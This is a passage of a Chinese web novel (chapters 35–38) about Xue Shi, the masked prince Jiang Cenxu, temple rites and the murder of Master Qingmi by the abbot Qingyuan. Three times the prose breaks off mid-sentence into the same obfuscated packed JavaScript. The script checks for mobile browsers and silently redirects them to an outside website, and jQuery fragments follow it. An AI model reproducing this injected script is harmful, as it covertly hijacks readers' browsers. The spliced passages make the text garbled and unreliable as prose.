薛适将斗篷卸下,仰脸一笑:“只是会紧张被水淋的那一瞬。但若真被泼了个彻底,更多污秽和厄运被殿下帮忙散去,福泽庇佑,也是开心的。” 正说着,迟何不知什么时候挤上前来,热切道:“薛待诏!五公主!你们也来啦?” “迟何?”薛适有些意外,“你怎么在这呐,不应在殿内跟着唱诵赞词吗。” “我资历浅,所以被清缘住持派到这迎恰了。” 他歪着圆光光的小脑袋,满脸神秘道,“薛待诏,方才听你对泼水很有兴趣,那你想不想被更多福泽庇佑,参加泼水礼试试?” 江岑许却是先一步出声,皱着眉甚是不悦地瞄了迟何一眼:“她不想。” 迟何瞬间蔫下脸,甚至委屈得带了丝哭腔:“我这泼水礼实在无人参加,等清缘住持出来看见,定是要好一通训斥,我不想师傅因我丢脸。”知道江岑许不好惹,他直接晃着亮滚滚的脑袋朝薛适恳求,“薛待诏……你代笔名声广,城中很多人都认识你。若见你参加了,其他人也会想来试试看的……” “好呀。”薛适未等迟何再说太多,没有犹豫地笑应了。毕竟也不是什么难事,何况这段时日她多受清弥法师和迟何照拂。 “只是要如何参加呐?大家一起在广场这儿追逐戏水不就是泼水礼吗?” “不一样的!”见薛适答应,迟何顿时满血复活,元气满满解释道,“那是所有人一起,虽和乐热闹,但终归要把福泽分走很多。而泼水礼呢,是一次只许一人参与,独享厚福。” 江岑许冷笑了声:“既然这么好,还需薛适帮什么忙?” “因为,因为……” 迟何觉得今日的五公主实在可怕得很,看向他的眼神像是想直接原地杀了他……瑟缩地背过身,迟何选择只看着薛适说话。 “泼水礼比较严苛,因我佛信奉‘九九归一’,意味久经磨难终会达到超脱世俗、超越生死的境界。故需参与之人随机抽取九个问题进行回答,且必须坦诚,不可欺骗,否则冥冥因果,自有惩戒。 若九个数内无法答出,便要接受浴佛之水静心洗尘,以示警醒;若是全数答出,则赠香汤沐浴,予黑饭吃食,颂祝圆满。” 迟何说完,生怕江岑许再不愉开口,只换了口气就又接着道:“不会太久的!五公主可先去别处逛逛。” “哦?”江岑许目光锐利地扫了迟何一眼,不知从哪忽地掏出根粗长的银针,慢悠悠地摩挲把玩着。但执银针的手却似沾染过梨花的颜色,好看得过分。 “你不是想更多人过来么。本宫一国公主,站在这,”江岑许勾唇笑得很是亲和,“帮你吸引。” 迟何:“……” 这、五公主这副活煞神的样,谁还敢来了啊!! 薛适也疑惑地看向江岑许,明明先前与迟何见面都不曾这般咄咄逼人,怎地今日如此反常呢。 “迟何最近……惹殿下不开心了吗?” 江岑许哼了声,眸光落在她身上,辨不出究竟是何表情,只撂下很轻的一句:“小没良心。” 她移开视线,不耐地对迟何道:“开始吧。” “好、好的!” 迟何赶忙站在方桌前,用力摇晃手中签筒,“薛待诏,来吧!” 薛适随便摸了个递给迟何,迟何看过一笑,“这个问题我都可以替薛待诏回答!” “平素接触最多的是什么?” “笔墨纸砚。” “好。”显而易见的答案,迟何接着晃动签筒,“嗯……薛待诏抽到的第二个问题是,你相信世间会有至纯至善之人吗?” 薛适没有犹豫:“相信。” “这样,才能更好地感受他们的存在,及时回应他们的善举,让他们知晓,会有人记得他们所予的美好,并对此深怀感激,不叫他们心寒。” 两个问题过去,一旁已渐渐聚了些看热闹的人,听了薛适方才的回答后,不由纷纷赞叹。 迟何开心地踮踮脚看向不远处,期待更多人能被吸引前来。 “第三个,有没有做过违背良心的事?”迟何啧啧舌,薛待诏一看就是极好的人,答案肯定为否。 但薛适还是认真思忖了下,直至从九倒数到三,才出声道:“暂时没有。” …… 很快,已经到了第八个问题。 围着的人越来越多,一连听下来,也弄懂了规矩,各个摩拳擦掌跃跃欲试。 “若有一日,和同伴遭遇追杀难逃一死,最后想做的是什么?” 这个问题倒也熟悉。她和江岑许那时便因冰心笺遭遇了追杀,只是虽危险,但还没到难逃一死的局面。 薛适摸了摸发带,皱眉思索道:“既然已是绝路,不如看看有没有能保下同伴的方法,只有一人落难总比全都在劫难逃要好。 比如以自己为饵引开刺客,拼尽全力为同伴争取生机。如果同伴活着,起码会为自己报仇;如果不幸都遇难了,至少努力过,也不会遗憾。” 一旁围观的男子听了甚是疑惑:“为何一定是由公子你来引开刺客,也许你的同伴比你更适合呢?” 另一中年男子说道:“人都是自私的,何况面临死亡。要是都像你这么想,谁也没有活下去的可能。” “哎,这也正常,每个人想法不同嘛。像我,可能什么都不会想,都这时候了,还如何顾得了同伴死活,只管自己竭力逃跑,能跑多远是多远。然后也许会……很想回家吧。这样就算真死了,死前想起家人,最后留在脑海的,也是幸福的画面。” …… 迟何见众人对泼水礼越来越有兴致,不由笑开了眼:“薛待诏只剩最后一个问题,如有想要参与之人,可以先在右侧排队等待下一轮。” 话音刚落,就见方才讨论激烈的几人立即站到右侧成列,其他人则想观到最后,看看九个问题全都如时应下后,会是怎样的流程。 毕竟只差一题,薛适就可以体验香汤,品尝黑饭了。而泼水礼又是今年头一遭,往年并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495875|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未举行,众人看了会儿有了兴趣,便也产生了好奇。 “第九个问题,你曾撒过的最大的慌,是什么?” 人群中顿时噫声一片。 这个问题算得上很刺激了,毕竟人这一生总会出于各种缘故撒下谎言。但这最大的慌,往往是最难于人前启齿坦言的秘密。 薛适一时怔住,她说过的慌很多,可当这个问题落入耳畔时,心中却只涌现出一个答案。 她的目光不由落在江岑许身上。 迟何也没见过如此犹疑的薛适,本想拖延一会儿再数,但围观的人在侧,他就算慢些数完九,也只是掩耳盗铃。 何况现在,有谁开了口带着众人一起数,好不热闹。 “九,八,七,六……” “三——” “二——” “一!” 众目睽睽之下,迟何只得在心中道了声“抱歉啊薛待诏”,闭着眼端起盛有浴佛之水的瓷碗,咬牙朝薛适泼去。 薛适倒觉得没什么,毕竟一直以来,她撒的慌实在太多。既然选择了参与泼水礼,就要对佛意心怀敬畏。 这次她记得了江岑许的话,没有蹲下,只是站在原地,闭紧了眼。 晶润的弧度倏忽划过空气,一声轻微哗响,与之而来的还有布料摩擦临近的窸窣。紧接着,手臂一沉,再睁眼时,她已被掩于那身烟墨背后。 “五、五公主?!” 泼出的水恰好落在江岑许衣领的位置,迟何吓得话里都带了颤音。 “薛待诏为本宫撒过不少谎。纵使佛祖在上,但倘若她真说出了口,你真得就敢听么?” 迟何战战兢兢地捏着绢帕,闻言更是不敢递上前,愈发觉得今日的五公主实在可怕。 薛适忙接过来,道:“迟何,你们继续吧。” 迟何赶紧投以感激的神色,“那,今日多谢薛待诏和……和五公主前来捧场。” 新一轮的泼水礼已经开始,薛适和江岑许找了处僻静的地方。 薛适小心翼翼地攥着绢帕,移向江岑许濡湿的领口。 “殿下为何要替我挡下呢。其实无论什么谎言……我都不会说出去的。” 不管是她自己的,还是江岑许的。 江岑许轻笑了声:“只是觉得,我自己还没泼够,怎能让其他人抢了先?”她一边说着,一边抽去薛适手中的绢帕,“我自己来。” “哦……好。” 江岑许微微解开领口擦拭,薛适这才反应过来,她是“男子”,应注意“男”女有别,刚要转身回避,却在看到江岑许露出的脖颈时,眼睫一跳,僵在了原地。 没了平日常穿衣裳的立领遮掩,修长的脖颈间,如玉喉结轻滚,凸起的弧度,俨然不是女子该有的嶙峋轮廓。 薛适连忙转身,只有肩上飘动的斗篷,知晓她此刻的兵荒马乱。 为了掩盖女子身份,薛适入宫之后一直谨小慎微,穿得都是立领衣衫。眼下想来,江岑许同她一样,亦是从未穿过其他样式领口的衣裙。 一时间,过往被她刻意忽略,觉得难以相信的零碎一一浮现,拼凑出清晰的完整。 她想起春蒐时,江措提起五公主与兄长江执容貌气质极为相像的事实;想起江岑许走过口技摊后,不亚于口技人自如切换的声线;还有都亭驿外的雨幕中,小将军那句与初见江岑许时如出一辙的“一别数月,我回来了”…… 原来,她所以为的“不分异同”,一直都只有他一个人。 心底的潮湿一点一点积聚,直到这一瞬,清风拂过,水汽有了实体,于是卷起风浪。 当江岑许理完领口走到她身边时,薛适忽然笑着问他:“殿下,你想不想知道,我撒过最大的谎,是什么?” 一如既往地,江岑许的面容被金色的千叶莲面具覆盖,眸光潋滟,唇如朱砂。微勾时,温柔若流光昭显,短暂却惑人。 看着那灼灿的千叶莲,永远无法被窥探的晦暗之下,薛适却早已清晰记得光影曾流泻的模样,她目光明澈,声音轻轻: “我总是想起一朵很遥远的花。其实,不是因为他名贵又美丽,而是因为……” “我喜欢他。” 36. 祈愿 不知不觉间,已近黄昏,大祭礼的第一日即将过去。 薛适和江岑许也逛得差不多,薛适还替人写了几份代笔,又多送出去不少福文。 前来参拜的人陆陆续续离开,江岑许回了刺史府,薛适想着清弥法师这会儿得了空,打算前去请教一番江接身上佛光乍现的原因。 不想刚走到白日浴佛的正殿,就见清弥法师四处张望着,甫一见到薛适,便急急向她走来。 “我好像知道……薛待诏之前问我的密咒,是为何意了。” 清弥法师眉间皱成一团,深吸了口气,严肃道,“薛待诏可看到白日迎请佛骨时,大皇子身上的金光?” “看到了。我来就是想问问法师,是否知晓这金色佛光出现的玄妙?” “这并非佛光,而是缘于修炼了道家的《金光咒》。” 薛适一愣,道家? 她忽然想到刚来扬州时,长临书院的书生在请愿寺的僧舍品鉴经文,有小和尚提起过,清缘住持在皈依佛教前曾修行过一段时日的道教。 联想到江接与清缘住持在冰心笺上所说的密咒,难道…… “来寺之前,清缘住持曾佛道双修。而金光咒,是他最为擅长的密咒。” 薛适心一沉,虽料到如此,但还是不由得握紧了拳。 “法师,如果是我要修行金光咒的话……需要多久?” 清弥法师一惊:“薛待诏,你……” “要揭穿大皇子的阴谋,攻破这样玄乎其玄的异象,只有让大家知晓,遵循一定的方法便可身现金光,并非唯有大皇子一人才能做到。 慈悲为怀的佛,崇尚自然的道,不该成为别有用心之人夺权谋利的器具;扬州百姓淳朴真挚的信仰,更不该被利用。” 清弥法师的眼中是不加掩饰的惊讶与赞赏,良久,他目光坚定,朝薛适微笑道:“我亦是这样想的,所以…… 此事由我来。” “薛待诏知道的,一直以来我都想要城中百姓可以恢复到从前,会信奉佛法,却不会事事依赖,过度痴迷。 虽未来难定,但只要现在的我皈依佛门一日,就会竭尽所能维护这份信仰,守护信众。” “今日大皇子身上金光乍现,城中迷信之言愈发严重,甚至有画师画了这幅景象,很多百姓竟是散尽家财,不顾一切也要买下这画日日供奉跪拜,祈求事事顺遂。就连长临书院的书生也大肆宣扬此事,致使越来越多的百姓对大皇子为‘天选之子’的言论深信不疑。” “而这些,又怎能只由薛待诏你一人承担?” “可我怕法师……”此事毕竟关系到江接谋反的计划,是他宣扬自己乃天选之子、为自己造势的关键一环。如果将清弥法师这样牵扯进来,薛适担心会连累他。 清弥法师却是轻声打断了她:“薛待诏不必担心。无论对方是谁,哪怕圣上亲临,我都会选择亲自修行,赶在大祭礼最后一日,这最后能聚集供奉拜别的信众之时,让所有人眼见为实,破除今日荒谬。” “何况,普通人修成金光咒至少需三年时间。而我以前求学时对道教了解颇深,如今钻研佛法,亦参透些许修行要义,应是比薛待诏要容易些。” 薛适一下子全都明白了。 原来从三年前,大皇子计划的伊始,他就已跟随清缘住持修炼金光咒。 而金光乍现之后,关于他“天选之子”的言论能够散播这么快,必是早早就联系了长临书院书生为此造势准备。 薛适想到来扬州之前,她在都亭驿听到大皇子让清缘住持“提前和书院那边说好”,想来从那时候,他们就已经慢慢铺垫好一切。 薛适觉得心中有些酸涩,同样是受人敬仰的高僧,有人将他人尊崇肆意玩弄,也有人选择倾力守护,只因—— 人的信仰本应纯粹,任何人都没有权利使其浑浊。 “那法师,一切小心。如有需要我帮忙的,请一定开口。” “好。” 大祭礼的氛围持续笼罩,几度日升月落间,不同的身影忙忙碌碌。 扬州城内,薛适除了和江措撰写离宫赋,又加紧对城中百姓过度依赖佛法一事针砭时弊,并隐秘地提了句一切是从三年前大皇子自请治理水患,请愿寺接济处于“瘟疫”源头的长临书院书生赴京科考开始。 届时清弥法师修成金光咒,江岑许成功揭发江接,辅以这些文字配合流传,影响自是深远。 清弥法师日夜苦练金光咒,一连几个时辰闭眼修行,废寝忘食是常事。阿雅每天陪在他身边,十指不沾阳春水的王女,开始学着做各种各样清淡可口的吃食。阿雅的汉字也写得越来越好,她会将清弥法师标注的关键字句用更大更醒目的字体誊写,方便阅读。 他们之间,从一开始的刻意保持距离,到坐于桌前一起用膳,再到时而话几句问候,相视一笑…… 以及阿雅不曾知晓的,自己夜间踢落的被子,每一晚都被清弥法师捡起,悉心掖好。 他看向床上女子安谧的睡颜,轻声道:“时雅,等大祭礼结束……我有话想要告诉你。” 江岑许暗中将朝堂上能为他所用,且正直忠心的官员一一列明,因身为“公主”又有“荒唐”声名难以出面,远在京城的萧乘风接到书信挨个拜访。 不动声色间,三年前因兴修扬州水利的官员贪腐,薪水惨遭克扣的工人已主动作证,并留存了当年相关人员选购低劣木材的交易明细,被萧乘风一举呈到监察御史手中;当年科考透题的监考官也被秘密查处;徐桓应在临辞等人的保护下安全到京,并被大理寺少卿小心看管;萧乘风自己则时刻监视着袁敏达手下兵马的动静。 风雨欲来的日子难免压抑,好在宣凝郡主一直陪在他身边,像是甘甜可口的荔枝,虽看起来有棱角不易亲近,其实心软热情事事记挂,总会给他讲坊间有趣的秘闻,带西市时兴的各种奇珍异宝。 大明宫中,奚玄日日前往蓬莱殿,替薛适向明皇后送写经文。他们在宫人的注视下恪守礼法,但短暂相交的视线,和不经意交叠的衣袖,无声诉说着只有二人才会知晓的爱意。 每一次,每一眼,已胜过万语千言,无数次流转在深宫岁月。 紫宸殿内,昭景帝的身影隐于夜色下的龙椅之上,目光却是落在空中某处虚无,神色缥缈却温柔。记忆中的画面仿佛能够凭借思念之力,成为触手可及的现实,在眼前浮现。 那时候,他只是王爷,尚未坐拥江山,却远比现在幸福,因为他拥有所爱的一切。有妻子陪他挑灯夜读,梳理政见;有可爱的女儿送上亲手制作的点心;有聪敏的儿子常会从旁人难以想到的独特角度抒发见解,令他茅塞顿开。 想到戴着面具,却依旧遮掩不住眸间凛冽灼亮的身影……昭景帝握了握手中笔,在蚕丝织就的明黄之上,坚定落下字句。 - 转眼已是除夕,大祭礼结束的前一日。 各寺依照习俗于今日举行普佛法会,以他们独特的方式庆祝属于僧人之间的热闹。 薛适不忍打扰,刚好江岑许正在寺门外等她,说吴陵维昨晚携亲眷回了老家,让他们可在刺史府度过除夕,随心所欲,无需顾忌太多。 薛适想到阿雅一人孤身异乡,这段时日一直待在请愿寺陪清弥法师练习金光咒未曾出门,便去了厨房找她,果真见阿雅又在研究新的吃食。 薛适笑笑走近:“阿雅,今日是我们大益的除夕日,要和我一起去刺史府嘛,大家一起也热闹些。” 阿雅虽有些好奇,但想到清弥法师,还是担忧地摇摇头:“不了,你去吧。我担心他修行起来,又忘记吃饭。” 薛适看在眼里,问道:“你听说过大益要在除夕这日吃汤中牢丸嘛?我教你包些素馅的,你好带回来给清弥法师尝尝。” 听了这话,阿雅眸光一亮,转而应下:“那好!” 临走前,迟何想让薛适帮忙在他的房间门口写副对联。 薛适略微思忖了下,仿照迟何稚嫩可爱的字迹,基于他的角度,朴实写道: 【一祈一拜世世顺意,一饭一蔬岁岁平安。】 提笔写完,薛适还在最末端画了个小香炉,一旁是迟何乐悠悠的笑脸轮廓,远远看去像是吉祥喜气的年画娃娃。 迟何喜欢得不行,左瞧瞧又看看,笑着跑开朝其他小僧放声炫耀去了。 等这些事做完,三人乘马车抵达刺史府时,天色已暗。 江措正摆弄着青铜方炉,见他们进来,忙招手笑道:“吴大人临行前特地将他平日用来烧烤的方炉找了出来,小五又在清早买了些羊肉,咱们刚好可以烤着吃。” “好,”薛适一笑,“那我和阿雅包些汤中牢丸。” 即便偌大的刺史府只有他们四人,但今夜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533748|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香气四溢,炊烟徐徐,热水煮开的咕噜声和煎烤羊肉的滋滋声起伏相和。载笑载言间,抚动着最平常的烟火,似热烈着岁月,慢煮了时光,将每一瞬都变得安宁而悠长。 泼墨夜色下,刺史府院外的石桌上已摆满了丰盛至极的年夜饭。 江岑许和江措将烤好的羊肉用竹签串起,撒些粗盐盛碟摆放。薛适和阿雅将煮好的汤中牢丸捞起一些,其余的仍在锅中煨煮,以防变凉。 薛适依次帮忙斟好酒,撮几粒花椒放入,笑意盈盈道:“椒盘颂花,除旧迎新,愿大家新岁顺利!” “饮胜!” 几人围桌坐下,杯盏相撞,仰头饮尽后只觉寒气骤除,浑身都暖融融的。 “尝尝我和小五烤的羊肉。不过,”江措不好意思地笑了笑,“说是我们一起,其实主要是小五在烤,我帮她打下手。” “没想到小五竟继承了三弟的烧烤本事,火候掌握得恰到好处。以前大家一起围猎时,跟着三弟总能一饱口福。” 只见根根串好的羊肉金黄诱人,肥嫩处呲呲冒着小小的油泡,一口咬下软硬得当,唇齿生香。烤羊肉对于出身关塞的阿雅来说,几乎是餐餐必备,但江岑许烤的羊肉,还是令她在吃下后不由出声赞道:“好好吃!” 江岑许又备好五辛盘,大蒜、小蒜、韭菜、云薹、胡荽一应俱全,给每个人都用小碟装了些放在面前,配着热香扑鼻的烤羊肉,吃起来不仅新鲜解腻,别有滋味,还有散五脏郁气,防病侵扰之效。 这几日在请愿寺食不得荤,薛适捏着竹签笑眯眯吃着,很是餍足的模样。江岑许勾勾嘴角,又烤了几串,递到薛适面前。 酒肉下肚,江措又呈上了胶牙饧,寓意长福长寿。虽主要是给老人家吃以防掉牙齿,但甜甜的味道、香黏的口感,让很多人极馋这一口。好似嘴巴甜了,日子也变得甜蜜了。 一番下来,该是吃主食的时候。热气腾腾的葵菜馅汤中牢丸散发出鲜香,半月饱满,多汁味美。 阿雅满脸期待地尝了个,惊喜地微微瞪大了眼,立即看向薛适,那副神情俨然在说:做成了!很好吃! 薛适朝她点头笑了笑,阿雅看向江岑许和江措:“我可以拿一些,给我的……朋友尝尝吗?” “当然。”江措道,“这些本就是薛待诏和阿雅姑娘一起做的,而且还包了这么多,多一个人吃,也不会浪费。” 江岑许没说话,只是意味深长地轻笑了声。 阿雅喜笑颜开地拿出一些汤中牢丸用食盒装好:“谢谢诸位!那我先走啦。”挥手道别后,便迫不及待地想要立马回到请愿寺让清弥法师尝尝。 三人又坐在一起吃了会儿,江措今夜饮了不少酒,到最后有些不胜酒力,歉然地先回房间休息了。 一旁的江岑许似也有些倦醉,偏头懒懒趴在桌上,闭着的眼被长睫垂掩。 薛适小声叫了江岑许几下,见他都未应声,浅浅翘了翘唇,从怀中掏出个妃色的小香袋,小心翼翼放在他旁边。 江岑许送了她很喜欢的水绿色斗篷,所以她想亲手缝制这个香袋作为回礼。 香袋内衬的最里侧,被她缝下小小的“执笔”二字。 看似只因她喜笔墨、擅代笔,所以留下了类似署名的印记。 但其实……这是她尚无法说出口的隐秘心思。 以他的名,和她的喜好,并排放在一起,成为另一个只与她有关的、全新的词。 是唯她知晓的,无人洞察的。 薛适放好香袋,手刚想抽离,蓦地腕上一沉。 迎着明明暗暗的火光,薛适看见江岑许睁开了眼,紧紧握着她的手腕。 “怎么这般偷偷摸摸,”因着倦意,他的声音染上了丝低沉的喑哑,眼指了指一旁的小香袋,“不当面送给我?” 薛适蹲在一旁,歪头笑了笑:“主要是,怕殿下不喜欢。现在送的话,殿下到时发现了,应该也不会特地再来找我退掉吧。” “你还挺相信我。” 他直起身,将香袋握在手心看了看,然后系在了腰间,意思明显,“我很喜欢,谢了。” 这时,刺史府外由远及近地传来打更的钟声,旧时年夜已过,今朝新岁降临。 江岑许的眸光漾过粼粼笑意,启唇看向她,钟声令他的声音听起来很是虔诚。 他说:“新年快乐,薛适。” 37. 无题 正月初一,一年之始。 大祭礼迎来了最后一日,请愿寺一众僧人围着所浴佛骨打坐念经,在诵声阵阵中最后凝结福德,传向更多人。 前来拜别的信众跪于殿外蒲团,垂首合掌,无声跟随诵念。 末了,僧人和有意愿的信众会在纸条上写明心中认为的住持人选,得支持多者为今年请愿寺的新住持,是为圆满结束。 薛适并未参与,而是一直在房间忙着整理已经写完的离宫赋,待回过神已至申时。 想到迟何午间过来送笔时提起,清弥法师几日前就已修成了金光咒,目前处于根固阶段,强加修炼好让金光稳定显现,持续的时间更久一些。不过最晚在今日信众离寺之前就能再现腊月初八那日情景,甚至更加金灿耀眼。 说到这些,迟何很是愤愤:“皇子又怎样?利用我佛、欺瞒信众就是不对!等我师傅出来,定要大皇子目瞪口呆!大惊失色!” 薛适笑着摸摸他的头:“嗯,没错。” 思绪回笼,薛适却还是不免紧张担忧。将手稿锁好后,她决定去后厨帮阿雅打打下手,顺便在那儿一起等清弥法师出来。 令她意外的是,薛适未在厨房看见阿雅准备晚膳的身影,四周阿雅可能去的地方薛适都找了个遍,依旧无果。 负责清扫的小僧见了,主动道:“薛待诏是想寻些吃食,还是来找阿雅姑娘呀?” “我来找阿雅。小师傅可有见过她?” 小僧点点头:“阿雅姑娘昨夜从清弥法师房间出来后,刚好和我碰见。她笑着跟我说,今日不会来厨房叨扰了,似是清弥法师同她约好大祭礼结束会在长临书院见面,她说今日要外出买些东西准备准备。” “好,我知道了,多谢小师傅。” 薛适弯了弯唇,如此听来,想必清弥法师已经做出了凡心与佛心的选择,而阿雅也在满心期待着再次表明心意的那一刻。 心中轻松不少,薛适从小僧那儿拿了个雪白喷香的蒸饼,又拾了些蜜煎做零嘴,一路吃着,朝清弥法师房间走去,打算在院中的石桌前等他出来一起去正殿重现金光,也好安心些。 穿过高耸的竹树,前面便是清弥法师的房间。薛适影影绰绰看见清弥法师竟走出了院子,不由一喜,想是金光咒已经提前稳定修成了。正要远远唤一声,却见清缘住持紧随其后,也跟着走了出来,两人似在说着什么,然后一齐踏上了悬在沧远河上的石桥。 薛适稳了稳脚下步伐,小心翼翼地也跟了上去。 因着清缘住持与江接的关系,薛适不敢跟得太近,加之桥上又无处隐藏身形,只得约莫着等人走下石桥后才登桥跟上。 两人走进了主殿另一侧稍远些的左偏殿,此刻正存放着将迎入大福殿的佛骨。许是因回京在即,这些佛骨更需多加看护灌洗,所以两位法师才一同到此。 不过片刻,清缘住持已经走出了左偏殿,薛适这才放心加快步调进去,可殿内哪还有其他人的身影? “法……师?清弥法师?”殿内并无人应,薛适又里里外外找了好几遍,也没看到清弥法师。 可她明明亲眼见着两个法师一同从清弥法师的院落出来,最后一齐进了这里,她与他们前后相差甚至不到一刻钟,清弥法师怎会突然不见呢? “怎么了?” 正想着,身后忽然传来江岑许的声音,薛适讶异回头:“殿下?你怎么也来啦?” “我担心清弥法师修炼金光咒的事被江接的人发觉,就把身边的几个侍卫派到他身边暗中保护。方才一人传信说清缘法师来找了清弥法师,两人在房内待了许久,我过来后又刚好瞧见你跟在他们身后,便也一路跟了过来。” 话音刚落,余下三个侍卫齐齐从暗处现身,禀道:“殿下,我们一路跟随到这,除了最后只见清缘法师一人出来外,并无其它异常。” 薛适疑道:“三个侍卫大哥先到,我随后,然后是殿下,但都没看见清弥法师,难道……” “有密室。”两人对视一眼,异口同声。 虽寺中设有密室并不算稀奇事,但清缘法师在主动约清弥法师一同前往偏殿之后,反倒只自己一人走了出来,很难不叫人多心。 江岑许向侍卫沉声吩咐:“我和薛待诏进去看看,你们在外边留心周边情况,不到万不得已,不许贸然出手。” “是。” 江岑许身边的人基本都在护送徐桓应时回了京城,除去方才到刺史府送信的一人,眼下留在身边的只有三个,但想必各个能力不凡,所以江岑许先前才会放心把他们派到清弥法师身边。 薛适和江岑许一同踏入殿内,与门相对的正中央,高大慈悲的金色佛像靠墙矗立,一瞬映入眼帘。佛像身上袈裟宽松却挺括,悬垂于台座。远远看去,体态饱满而雄浑,含笑垂眸的面容虽显丰腴,却反倒因此多了亲和之气。 佛像左侧摆放着将迎的几尊佛骨,右侧是一个暗红色的经书柜,高度差不多与胸齐平,最上端雕有镂空的楠竹纹路,古朴雅致。因经书都被移到了主殿供大祭礼上诵读,所以此刻柜中基本是空的。 除此之外,殿内并无其他东西。薛适和江岑许仔细查看了一番,刚想从这些着手,挨个敲听寻觅密室所在时—— 忽地,一声类似木门被推开的沉闷响动隐隐从殿内正中传来,与此同时,殿内大门却“嘭”地一声合掩。 薛适耳朵一动,刚想提醒江岑许,手腕却已被身旁之人先一步紧握,带着她藏到了不远处的经书柜中。 一瞬间,黑如浪压,眼前光亮骤然掩于暗处,唯有镂空的楠竹泻落微弱的光影,让他们得以窥见外面。 金色佛像的袈裟如门一般,伴随着方才沉闷的吱嘎声响,一点点向外移动,底下的台座亦随之旋转,慢慢地,上面竟显露出个人来,一动不动地躺着。紧接着,另一道身影负手站立,随后出现。 一切响动渐渐停止。 负手而立的身影脚踩台座悠然走下,赫然是前不久从正门出去的清缘住持,他的手中还拎着个木桶,不知想要做什么。待他将木桶放在一旁后,又转身将躺在台座上的人拖拽下来,与木桶并排。 “真可惜啊清弥,你看不到我再次当选住持了。” “但这能怪谁呢。是你自己非要修炼金光咒,非要早早地就和五公主与薛待诏站在一起,同我作对,同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581915|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那位大人作对。” “不过,念在这几年的情分,我会实现你的心愿。” 清缘住持森然地笑了起来,他掏出把毛刷,伸进旁边的木桶中一圈一圈搅拌,“时间太短了,做不成肉身佛,那便涂上金漆吧,也是一样的金色,不比你费尽心力地修炼金光咒要更容易、更有趣?” 搅拌了会儿,清缘住持取出毛刷,木桶中无法看见的所盛之物,此刻清清楚楚地染在毛刷上,俨然是清缘住持口中的金漆。 他从清弥法师的头开始,一下又一下地涂抹,悠然轻慢的样子,像是抚弄琴弦一般自若。 “清弥果真是好容貌,届时掩于佛骨之中,送入大明宫,定会有贵人喜你拜你。我生怕折损了你的好皮囊,可是特地选了平眠散,从你房间到这刚好发作,中毒后又不至于凄惨狰狞,就像平日睡着一样,一切都刚刚好,真是妙哉……” 即便殿中金佛坐镇,佛骨在侧,可他们终归只是静默地矗立在原地,不为所动,又怎能真正地救下谁。 而连太阳都有无法照及之处,仅凭金色的佛身,又怎能驱散得了大门紧闭的殿内,逼仄汹涌的黑暗。 佛能普世人,可前提是,世人本就怀揣一颗慈悲良善的心。 若人皮之下藏着的是猛烈邪恶的兽心,就算是佛,也压不住。 薛适抑制不住地颤抖起来,怕发出声响,她死死将手捂在嘴上,艰难地用鼻呼吸。可浑身席卷流动的恶寒,又毫不留情地将每一次攫取到的的呼吸竭力吞噬。 清弥法师……死了…… 那个总会为他梳理佛法上的问题,会提醒她注意信赖佛法应有正确的尺度和边界,会用自己的全部守护信众信仰的清弥法师……死了…… 心中像是被垂落的巨石狠狠碾压,闷痛得她控制不住眼眶的酸涩与湿润,就连捂在嘴上的手,也将抵不住她发自本能的呜咽,薛适只得死死咬住唇。 忽地,紧握住她手腕的人将她拽近了些,另一手向上,扣住了她捂在嘴上的手,一点一点,用力掰开。 薛适的面容不再被手掌遮掩,水雾朦胧的眼,泪痕交错的颊,就这样直直撞进江岑许的视线,刺得他眼睫震颤,心跳猛地一滞。 江岑许伸手,轻轻拉下薛适额上的白色发带,遮在她的眼前。然后,将人拥在了怀里,手掌安抚地,一下一下拍着她的后背。 等怀中的人呼吸渐渐平顺下来,他指了指外面的清缘住持,又指了指自己,比了个手刀,接着指了指薛适,点了点原地。 薛适明白,江岑许的意思是趁清缘住持不备,他出去将人敲晕,让她待在这里不要出去。 但薛适却轻轻摇了摇头,她微微挣开江岑许的怀抱,眸光已是一片狠决清明。 她从发间抽出根毛笔,然后掏出先前在后厨拿的只吃了一口的雪白蒸饼,在上面简单写着自己的计划,江岑许看后,点了点头。 薛适暗暗深吸了口气,用衣袖蹭了蹭脸,心神已定。 虽然她无法救回清弥法师,但眼下的她,并不是只能痛苦,其它什么也做不了。 她要拼一次,她要清弥法师就算死,亦会令清缘住持败得彻底。 38. 耀眼 柜门之外,清缘住持气定神闲地在清弥法师身上涂抹金漆。因左偏殿少有人来,且密室一开大门就会随之紧闭,只能里面的人向外推,外面的人却无法进来,所以他很是安心。 “不过,是我太高兴了么。怎么瞧着,这金色越来越耀眼了呢……” 